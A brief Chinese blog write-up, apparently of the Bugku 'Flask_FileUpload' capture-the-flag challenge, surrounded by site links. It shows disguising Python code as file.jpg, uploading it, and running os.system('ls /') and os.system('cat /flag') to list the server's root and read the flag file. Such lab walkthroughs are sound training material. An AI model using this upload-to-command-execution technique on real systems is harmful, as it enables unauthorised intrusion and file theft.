技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
夏天拐跑了西瓜
7 小时前
一文入门LangChain:从框架认知到构建你的第一个AI Agent
python·langchain·conda·agent
奕鼎竜瑆
7 小时前
Solid 前端响应式开发从零到精通
前端·人工智能
动恰客流统计
8 小时前
景区客流统计怎么做?兼顾管控与运营的实施方案解析
大数据·前端·人工智能
魔猴疯猿
8 小时前
从0到1用Python开发第一个智能体
人工智能·python·深度学习·神经网络·机器学习
派小心.
8 小时前
A/B测试工具免费版够用吗?
前端·数据分析
xiaoqi0195
9 小时前
机器学习因子分析实战:从量化特征到可视化决策
人工智能·python·机器学习
前端snow
9 小时前
ai agent --- redis 缓存
前端
Escalating_xu
9 小时前
【Python】基础语法(1):常量、变量、类型、输入输出与运算符
开发语言·python
happylifetree
10 小时前
Python14:核心语法-数据存储与运算-字符串定义
python
hhb_618
10 小时前
AIRAGDebug:一键定位RAG链路异常
人工智能·python·算法
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)02历年考研数学一、数学二、数学三真题试卷及答案PDF03GitHub 镜像站点04Telegram APK 下载安装完整指南 — 2026年最新05蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接06微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新072026 爱知・名古屋亚运会怎么看?直播平台+赛程安排分享08给AI一张“业务概念地图“:本体如何从哲学走向企业智能09jev-ultrafast 深度解析:7 秒订机票的浏览器 Agent 是如何炼成的102026 年 9 月国内外主流大模型横向硬核评测:价格、算力、业务场景全维度对比,GPT‑6 Astra横空出世